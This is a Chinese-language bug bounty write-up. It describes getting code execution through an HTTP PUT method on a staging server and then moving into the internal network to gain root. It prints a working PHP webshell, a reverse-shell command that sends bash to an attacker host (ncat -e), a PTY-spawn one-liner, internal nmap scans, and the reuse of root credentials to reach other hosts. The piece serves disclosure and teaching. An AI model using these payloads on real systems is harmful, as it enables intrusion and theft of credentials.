简介

此前我曾发表过一篇ltr101的文章,这是我该系列的第二篇。本文我将为大家展示最近我在赏金计划中,发现的一个非常cool的漏洞。以及我是如何通过一个废弃的Web服务器实现远程执行代码的,并最终成功渗透目标内网获取到有价值信息的。

你的子域名叫什么?

这一切都是从信息侦察开始的查找子域,解析为IP然后查看端口。不过这一次,我发现了一个较为奇怪的主机名,并有一个应用程序正运行在64351端口上。这并不是我们平时常见的web端口,需要我们进行权全端口的扫描才能发现。该域名类似于以下(出于保密原因,其中省略了该公司信息):

fast.force.staging.intcorp.yoda.domain.com

对于这个域名我的脑海中蹦出了以下猜测:

  • 1)这是除admin,vpn,email等以外的唯一一个域
  • 2)故意提到intcorp引起我的兴趣
  • 3)这不是子域的平均长度
  • 4) fast force staging intcorp yoda可能都是随机产生的!

根据我的想法,我解析了该域名并成功获取到了一个IP,但通过浏览器打开发现没有返回任何信息,我决定利用nmap来对它进行端口扫描:

nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa

不一会儿扫描结果就出来了如下:

Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)
Host is up (0.082s latency).
Not shown: 979 filtered ports
PORT     STATE  SERVICE         VERSION
22/tcp   closed ssh
25/tcp   closed smtp?
80/tcp   closed http
81/tcp   closed hosts2-ns
90/tcp    open http?
64351/tcp open http
2 services unrecognised despite returning data.

最初我在端口为64351的应用程序web根目录中发现了一些奇怪的文件,并且每个文件都包含了不同名称的phpinfo文件。

想要将自定义的文件上传到该目录,通常我们会利用文件上传等功能。但在这里我没有找到任何像远程文件上传的地方,因此我只能老套的针对学校攻击的HTTP方法。

HTTP 动词/方法

无论是HTTP动词/方法,本质上它们都是在向服务器或应用程序发出请求。最常见的两个用于下载和上传数据到应用程序的请求方法是GET和POST。这里我将向端口为64351的服务器发送一个OPTIONS请求,以获取服务器支持的HTTP请求方法。

从响应结果来看该应用程序接受GET,POST,HEAD以及PUT方法。前三个都很普通,但PUT请求相对较少。

PUT

我设法利用PUT方法将文件写入到webroot下名为test的文件夹中,这样我就可以将编写的任意文件上传至服务器根目录下,同时我猜测之前发现的phpinfo文件应该也是利用PUT方法被上传的。我快速浏览了我的webshell再次找到了phpinfo文件:

所以通过PUT方法,我上传了一个简单的PHP webshell,其代码如下:

<?php
if(isset($_REQUEST['cmd'])){  $cmd = ($_REQUEST["cmd"]);system($cmd);echo "</pre>$cmd<pre>";die;
}
?>

这段代码首先从cmd参数接收输入命令,然后以系统命令执行。PUT请求成功,并且我们也成功获取到了一个shell如下所示:

为了获取到更多的信息,我尝试将webshell转换为netcat的反向shell。很幸运!这个服务器似乎都具备了netcat ncat的访问。

使用以下命令我连接到了服务器侦听端,这里我花了很长时间来确定连接端口,最终确定为443,因为服务器允许访问该端口。

webshell命令:

ncat -e /bin/bash ATTACKERHOST 443

服务器侦听端命令:

ncat -l -v -p 443

接着通过python one-liner我获得了一个交互式的bash shell:

python -c 'import pty; pty.spawn("/bin/bash")'

深入挖掘

既然已经获取到了一个交互式的shell,接下来我决定围绕操作系统进一步的探索。很快,我在/tmp/CorpNet目录下发现了一个引起我注意的文件夹,该文件夹下包含了以下三个其它文件夹:

  • CorpVPNKeys
  • CorpZT
  • CitrixCorp

在这些文件夹中我挖掘到了一些非常有用的文件,其中包括一个包含整个域的内部区域传输的文件。

查找其他主机

通过区域传输文件中的信息,我发现内部主机名与我已经发现的原始主机名类似,如下:

  • staging.intcorp.jawa.domain.com 10.0.1.1
  • staging.internal.sith.domain.com 10.0.1.3
  • internal.vader.domain.com 10.2.1.13

看起来这个网络的系统管理员是一个星球大战的粉丝!有许多其他主机共享了星战命名方案。因为主机可以访问ncat和nmap,因此我决定在这个阶段做一些端口扫描。我尝试对10.0.1.0/24这个网段进行了扫描,以发现其它有趣的主机。

一个快速的nmap -F 10.0.1.0/24扫描,从最终返回的结果我发现了一些非常有趣的端口。其中包括一台应该是windows机器开启的远程桌面连接端口:3389,445,135,137,1433,2433。对于一个内部网络,RDP和SMB的开放并不鲜见。

原本我想通过nmap脚本来继续探索更多的信息,但是由于当前服务器上的nmap版本并不支持nmap脚本,因此出现了  错误。

到此阶段我决定发邮件提醒该公司我发现的问题,并询问我是否可以继续挖掘,我收到了一个非常快速简明的回复:

“感谢您提醒我们,你能深入到什么程度,我们确信我们的内部网络是安全的。”

既然都这么说了,那么我就接受挑战!

接受挑战

由于我并没有获取到任何用户的哈希值或密码,因此接下来我将尝试是否可以目录遍历。我使用cat命令查看了passwd文件,其中的一个名为emperor的用户以及他的UID引起了我的注意:

emperor:x:0:1002:SPalpatine:/home/emperor:/bin/bash

从星球大战的主机名判断,该用户名似乎也是引用了星战的名称,且UID似乎为root用户。

不敢相信我的运气! 因为内部网络中还有其他几台主机,我猜想它们可能使用了相同的凭证登录,打开SSH,尝试使用emperor账户连接它们。

额外奖金

在经过登录凭证的尝试,我成功连接到了internal.vader.domain.com主机, 并且emperor在这个主机上也是root权限。

这使我能够从这个主机上转储哈希值并对其进行破解,另外我发现根私钥被用作在原始主机发现的VPN证书的主密钥。在这个阶段,我再次向该公司写了一份测试报告,其中包括了以下几个问题:

  • 危险的HTTP方法导致远程执行代码
  • 敏感文件被存储在文件系统并且所有用户可读
  • root用户密码在/etc/passwd下直接曝露
  • /etc/shadow下的密码加密采用的是弱哈希算法

小结

从单一的层面看,起初这只是一个目录权限和身份验证的问题,但这使我成功上传了webshell。虽然刚开始的权限并不大,但通过进一步的深入挖掘和利用,我们逐渐将战果扩大到了内网并最终获取到了root权限。可见一个小小的失误,都将给公司企业带来重大的安全问题。作为系统管理员应该避免将密码设置与主机名或用户相关,否则这将是非常危险的。目前该公司已经修复了该问题,并向我表达了感谢!

*参考来源:zsec,FB小编 secist 编译,转载来自FreeBuf.COM

我是如何通过命令执行到最终获取内网Root权限的相关推荐

  1. proxychains代理扫描并获取内网服务器权限

    Proxychains Proxychains是为了GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4,SOCKS5,HTTP/HTTPS路由到目的地.在这个通道技 ...

  2. 谷歌VirusTotal开源组件曝高危漏洞,可获取内网访问权限

    如漏洞遭利用,可导致攻击者不仅访问受谷歌控制的环境,还可以高权限访问50多个内部主机. 安全研究员在 VirusTotal 平台上发现了一个严重漏洞,可被用于实现远程代码执行 (RCE). 该漏洞已修 ...

  3. Android 命令su,获取Android的ROOT权限其实很简单,只要在Runtime下执行命令su就可以了。复制代码 代码如下:// 获取ROOT权限public void...

    获取Android的ROOT权限其实很简单,只要在Runtime下执行命令"su"就可以了. // 获取ROOT权限 public void get_root(){ if (is_ ...

  4. python --获取内网IP地址

    方法一 import socketdef get_local_ip_address():ip_address = ''try:# 获取本机主机名hostname = socket.gethostnam ...

  5. root权限获取排行榜,root权限软件排行榜

    VIVOX7的root权限怎么获取? vivo手机是不可以获取root的,建议不要轻易将手机root. ROOT是一种存在于UNIX系统(如AIX.BSD等)和类UNIX系统(如大名鼎鼎的Linux, ...

  6. python脚本获取内网,公网ip

    2019独角兽企业重金招聘Python工程师标准>>> 获取内网ip: get_inner_ipaddr.py #!/usr/bin/env python import socket ...

  7. linux下获取本机的获取内网和外网地址

    1.获取内网地址(私有地址) ifconfig -a 2.获取外网地址(公网地址) curl members.3322.org/dyndns/getip 转载于:https://www.cnblogs ...

  8. js获取内网/局域网ip地址,操作系统,浏览器版本等信息

    这次呢,说一下使用js获取用户电脑的ip信息,刚开始只是想获取用户ip,后来就顺带着获取了操作系统和浏览器信息. 先说下获取用户ip地址,包括像ipv4,ipv6,掩码等内容,但是大部分都要根据浏览器 ...

  9. python获取内网IP和外网IP的方法

    1.获取内网IP 示例代码: import socket# 获取内网IP s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect( ...

最新文章

  1. 机器人也需要拥有属于自己的性格
  2. java spring boot缓存_Springboot对缓存的支持
  3. mysql的优化——索引介绍
  4. express+mongodb+vue实现增删改查-全栈之路
  5. leetcode 380. Insert Delete GetRandom O(1) | 380. O(1) 时间插入、删除和获取随机元素(Java)
  6. css怎么把横向菜单变纵向_CSS 布局模式 + 居中布局
  7. 利用Java进行MySql数据库的导入和导出
  8. 云原生应用 Kubernetes 监控与弹性实践
  9. 零基础入门语义分割-Task6 分割模型模型集成
  10. java中的BigInteger
  11. jdk从1.8降到1.7的办法
  12. 分层模式下的Lazy Load ——探索Domain Model系列(下)--转
  13. uniapp获取当前城市编号和信息
  14. html控制萤石云摄像头转动,萤石云摄像头直播带云台控制代码
  15. [译] APT分析报告:07.拉撒路(Lazarus)使用的两款恶意软件分析
  16. python绘制世界人口地图
  17. 修复下载后已发生损坏的压缩包(.rar)文件
  18. SEO优化之浅谈蜘蛛日志
  19. 中国大数据分析行业研究报告
  20. 连接查询之内连接(等值连接、非等值连接和自连接)

热门文章

  1. Landsat 7两个热红外波段B61和B62的区别与应用时的选择方法
  2. 关于MQTT协议实现消息推送系统
  3. 计算机专业srtp项目选题,我都大二了,才知道什么是SRTP
  4. ubuntu双系统时间同步_解决Ubuntu19.10和windows双系统时间同步问题方法
  5. NPU算力集成解决方案
  6. 商户后台返回数据签名错误_微信小程序 用户信息开放数据校验与解密
  7. 夺命雷公狗—玩转SEO---4---什么是展现量和点击率
  8. 【NLP】第7章 使用 GPT-3 引擎的Suprahuman Transformers的崛起
  9. KMPlayer播放m2ts 格式文件
  10. Java6、7章复习 5.4